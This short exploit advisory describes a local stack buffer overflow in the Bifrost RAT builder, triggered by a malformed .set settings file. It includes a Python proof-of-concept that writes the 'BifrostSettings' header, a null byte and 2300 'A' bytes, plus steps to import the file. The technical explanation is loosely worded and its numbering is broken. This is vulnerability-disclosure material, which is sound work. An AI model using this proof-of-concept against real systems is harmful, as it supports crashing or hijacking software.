The IP address offset is located after a NULL byte which is preceded by the Bifrost file header "BifrostSettings". A corrupted Bifrost .set file containing an invalid IP address of about 2300 bytes will trigger a local stack buffer overflow overwriting the EAX register. EAX register typically stores return values from functions. This can allow an attacker to control program execution flow resulting in arbitrary code execution.

Otherwise, will get not a valid settings file error. import struct f=open('DOOM.set', 'wb') f.write("BifrostSettings".encode('ascii')) f.write(struct.pack('B', 0)) f.write(str("A"*2300).encode('ascii')) f.close() 2) Go to builder menu item in bifrost, stealth tab 3) Import the corrupt bifrost .set (settings) file.
